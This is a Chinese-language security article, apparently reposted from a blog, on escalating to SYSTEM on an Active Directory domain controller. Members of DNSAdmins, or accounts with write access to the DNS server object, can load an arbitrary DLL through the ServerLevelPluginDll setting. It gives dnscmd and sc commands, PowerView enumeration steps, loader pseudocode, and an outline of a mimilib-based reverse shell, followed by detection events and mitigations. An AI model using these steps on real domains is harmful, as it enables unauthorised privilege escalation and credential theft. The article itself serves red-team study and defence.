0x00 前言
除了在实现自己的DNS服务器功能之外,Microsoft还为该服务器实现自己的管理协议以便于管理与Active Directory域集成。默认情况下,域控制器也是DNS服务器; 大多数情况下每个域用户都需要访问和使用DNS服务器的功能。反过来,这会在域控制器上暴露出相当多的攻击面:一方面是DNS协议本身,另一方面是管理协议,它基于RPC。我们将深入研究DNS协议的实现并详细介绍一个非常棒的提权技巧。它允许我们在某些情况下不是域管理员在域控制器上也可以运行危险代码,虽然这并不是一个安全漏洞,正如微软所证实的那样,它仅仅只是一个功能的技巧,可以提供给红队进行AD权限提权。
通过阅读微软官方文档([MS-DNSP],
https://msdn.microsoft.com/en-us/library/cc422504.aspx)收集相关的信息,并使用IDA对dns.exe进行二进制文件逆向分析。
0x01 DNS服务器管理协议基础知识
指定域名服务(DNS)服务器管理协议,该协议定义提供远程访问和管理DNS服务器的方法的RPC接口。它是基于RPC的客户端和服务器协议,用于配置,管理和监视DNS服务器。管理协议层位于RPC之上,可以在TCP或命名管道之上进行分层。如果您对协议或其实现原理感兴趣,可以在域控制器的c:\windows\system32\dns.ex下的中找到它。它的RPC接口UUID值是50ABC2A4-574D-40B3-9D66-EE4FD5FBA076,它使用\ PIPE \ DNSSERVER命名管道进行传输。
DNS服务器作为域控制器上运行的服务。可以通过运行命令dnsmgmt.msc连接到AD DNS服务器(通常是域控制器)来打开访问管理界面。它允许用户配置DNS区域,查找,缓存,转发和日志记录等信息。可以确保此结构中的多个对象包括DNS服务器对象(不是计算机帐户),区域对象和记录。在这种情况下,我们对dns服务器对象感兴趣,其全新安装的规则策略如下图所示:
默认情况下,只有DnsAdmins,Domain Admins,Enterprise Admins,Administrators和ENTERPRISE DOMAIN CONTROLLERS组对此对象具有写入权限。值得注意的是,从攻击者的角度来看,如果假如我们是每个组的成员不是属于DnsAdmins组,但可以对DNS具有读写权限的DnsAdmin用户,那么,让我们看看如果我们自己有一个DnsAdmin我们可以做些什么。
0x02 滥用DNSAdmins权限问题
·DNS管理是通过RPC执行的(UUID是50ABC2A4-574D-40B3-9D66-EE4FD5FBA076),传输机制是\ PIPE \ DNSSERVER命名管道。
·根据Microsoft协议规范,可通过“ServerLevelPluginDll”进行加载可选择的dll(没有验证dll路径)。
·dnscmd.exe已实现此功能:
dnscmd.exe /config /serverlevelplugindll \\path\to\dll
·以DNSAdmins成员的用户身份执行此dnscmd.exe命令时,将注册以下注册表键值:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
·重新启动DNS服务将在此远程路径中加载DLL; 但是,DLL需要包含“DnsPluginInitialize,DnsPluginCleanup或DnsPluginQuery导出的功能”。
·DLL只需要在域控制器的计算机帐户能够可以访问的网络共享主机上。
请注意Mimikatz包含一个可以自定义的DLL(GitHub上的源代码),因此可以在DNS服务启动时更新要加载的Mimikatz DLL,并监视将凭据转储到攻击者可能拥有访问读取的位置。
0x03
模糊测试ServerLevelPluginDll
消息处理事件和排序规则,基本上详细说明了服务器需要支持的所有操作。第一个是R_DnssrvOperation,它包含一个pszOperation参数,用于确定服务器执行的操作。向下滑动可浏览可能的pszOperation值的列表如下:
可以看到服务器只加载我们选择的DLL。在搜索ServerLevelPluginDll的使用说明信息后,可发现以下有用的信息:
看起来服务器甚至没有对此操作中指定的dll路径进行任何验证。在开始实施之前,使用谷歌搜索ServerLevelPluginDll相关资料但并有可有的信息,但它确实弹出了有用的dnscmd命令行工具。
幸运的是,dnscmd已经实现了我们需要的一切。快速浏览一下它的帮助信息,也可以参考https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd
命令选项如下:
dnscmd.exe
/config /serverlevelplugindll \\path\to\dll
首先,尝试将此作为普通域用户运行,对DNS服务器对象没有特殊权限(Generic Read除外,它授予Pre-Windows 2000 Compatible Access组的所有成员,默认情况下包含Domain Users组),该命令执行失败并显示拒绝访问的信息。如果我们为普通用户提供对服务器对象有写访问权限时,则该命令可以执行成功。这意味着DnsAdmins组的成员可以成功运行此命令。
在我们的DC上运行进程监视器和进程资源管理器时,尝试在运行有DnsAdmins成员的域计算机上运行它,我们看到并没有DLL被加载到dns.exe的地址空间中,正如预期的那样。但是,我们确实看到以下注册表项已写入了我们发送的路径:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
现在,出于测试目的,我们重新启动DNS服务器服务,但是它却无法启动,清除注册表项值允许它启动。显然它需要我们的DLL更多的东西。
在这种情况下,有几种可能性可以快速达到我们寻求的功能
:通过IDA搜索相关字符串并搜索相关API,它通常是最简单和最快捷的方法。在我们的例子中:LoadLibraryW或GetProcAddress为我们提供了我们需要的东西 - 通过LoadLibraryW的DLL函数代码和调用它的函数,我们看到路径上根本没有验证执行ServerLevelPluginDll。
我们遇到的问题确实是唯一的:如果DLL无法加载或者它不包含DnsPluginInitialize,DnsPluginCleanup或DnsPluginQuery,该服务将无法启动。我们还需要确保我们的导出都返回0(成功返回值),否则它们也可能导致服务失败。
负责加载DLL的函数的伪代码大致如下:
HMODULE hLib; if(g_pluginPath && * g_pluginPath){ hLib = LoadLibraryW(g_pluginPath); g_hndPlugin = hLib; if(!hLib){... log并返回错误...} g_dllDnsPluginInitialize = GetProcAddress(hLib,“DnsPluginInitialize”); if(!g_dllDnsPluginInitialize){... log and return error ...} g_dllDnsPluginQuery = GetProcAddress(hLib,“DnsPluginQuery”) if(!g_dllDnsPluginQuery){... log and return error ...} g_dllDnsPluginCleanup = GetProcAddress(hLib, “DnsPluginCleanup”) if(!g_dllDnsPluginCleanup){... log and return error ...} if(g_dllDnsPluginInitialize){ g_dllDnsPluginInitialize(pCallback1,pCallback2); } }
这个POC用于演示如何在Visual Studio 2015下查看此类DLL的代码:
编译显示是用于将默认导出的名称修改为我们想要的名称。要验证我们的导出是否正常,我们可以使用 /exports path\to\dll
现在我们尝试使用我们的新dll和voila运行dnscmd,它的工作原理:我们所需要的只是将我们的dll放在一个网络路径上,该路径可由一个域控制器的计算机帐户访问(dns.exe在SYSTEM下运行)(Everyone SID的读访问权应该可以完成)。
虽然这表明如果您是DnsAdmins的成员,可以接管管理DNS的权限,但并不仅限于此:我们需要成功完成这一提权技巧的是一个具有对DNS服务器对象的写访问权限的帐户。根据我的经验,这些对象的ACL通常不像域管理员(或受AdminSDHolder保护的类似组)的ACL那样受到监控,从而为不显眼的普通域用户提升特权提供了很好的机会。
正如官方资料所述,这应适用于所有最新的Windows Server版本:
微软的MSRC已经就此问题进行了问题跟踪,并表示将通过基本上只允许DC管理员更改ServerLevelPluginDll注册表项权限来修复它,并且可以在将来的版本中关闭此功能。
无论如何,dns.exe目前仍然是以SYSTEM身份运行并受到危险的攻击,因此对于某些模糊测试者来说它可能是一个值有用的利用点。
0x04 DNS提权为AD域管理员实例
其中作为DNSAdmins组成员或具有DNS服务器对象的写权限的用户可以在DNS服务器上加载具有SYSTEM权限的任意DLL。因为,许多企业设置也使用域控制器(DC)作为DNS服务器,让我们看看这个功能的实际用法。
这里搭建实验来进行验证,其中我们通过一个普通域用户(labuser)进行初始访问AD域(DNS和AD是同一台服务器)。
让我们首先使用PowerView枚举属于DNSAdmins组的用户信息
PS C:\>Get-NetGroupMember -GroupName "DNSAdmins"
在真正的红队或pentest中,下一步是攻击的是buildadmin用户。我们可以使用PowerView的Invoke-UserHunter找到一个可以使用buildadmin 访问DNS服务器的认证票据。
PS C:\>Invoke-UserHunter -UserName buildadmin(在bulidamin用户的主机上执行获取访问DNS的令认证票据)
我们假设我们找到了这个认证票据,其中buildadmin的票据可用,我们当前的用户(labuser)也具有本地管理员访问权限。因此,我们拥有DNSAdmins组成员的用户的权限。
现在,可能有两种情况:一种既是DC服务器也是DNS服务器,另一种是单独的服务器作为DNS服务器。
对于第一种情况,DNS服务器服务在DC上运行,我们可以简单地使用dnscmd工具来加载dll。还有一个PowerShell模块的dnsserver -但是没有详细使用记录。
我们可以使用以下命令远程加载DLL。UNC路径\\ ops-build \ dll应该可由DC读取。
PS C:\> dnscmd ops_dc /config /serverlevelplugindll \\ops-build\dll\mimilib.dll (普通域帐号具有访问DNS并且有写入权限的用户在DNS上进行提权)
对于调试(目标上需要管理员权限),可以使用以下命令检查DLL是否已成功添加到目标上
PS C:\>Get-ItemProperty
现在,由于获取的用户buildadmin属于DNSAdmins组,我们可以重新启动DNS服务。虽然这不是默认配置,但这样的用户有权重新启动DNS服务。
C:\> sc \\ops-dc stop dns
C:\> sc \\ops-dc start dns
那么在成功执行上述命令后我们会获取到什么?Benjamin 很快更新了mimilib,用于此攻击。在此攻击中使用的更新版本mimilib将所有DNS查询记录到C:\Windows\system32\kiwidns.log中。
我们可以对kdns.c进行更改为包含远程命令执行功能。我包含了一行简单的代码使用Nishang的Invoke-Encode编码的混淆PowerShell shell。为DNS服务的每个查询执行有效负载,仍然会创建并写入到kiwidns.log
在监听服务器上可以反弹出远程服务器(dc)的shell:
可以成功看到获取到域控制器上的SYSTEM权限。
对于我们的第二种情况,如果DNS服务没有在DC上运行,我们仍然可以利用“仅”DNSAdmins的权限的用户并重新启动DNS服务中获得SYSTEM访问权限。
如何检测攻击?
要防止攻击,请查看获取DNS服务器对象的写权限和DNSAdmins组的成员身份策略。
DNS服务重启和一对日志信息显示:DNS服务器日志事件ID
150表示失败,770表示成功
执行成功和失败的Microsoft-Windows-DNS-Server / Audit Log事件ID
541
监视注册表的HKLM:\ SYSTEM \ CurrentControlSet \ services
\ DNS \ Parameters \ ServerLevelPluginDll值也会有所帮助。
0x05
防御措施
·确保只具有管理员帐户是DNSAdmins组的成员,并确保仅管理员具有管理系统DNS的权限。
·定期查看没有特权访问权限的任何组/帐户的DNS服务器对象权限策略设置是否正确。
·将RPC与DC的通信限制为仅限管理员访问的子网。
·只允许DC管理员更改ServerLevelPluginDll注册表项的权限。
原文地址:https://www.cnblogs.com/backlion/p/9888851.html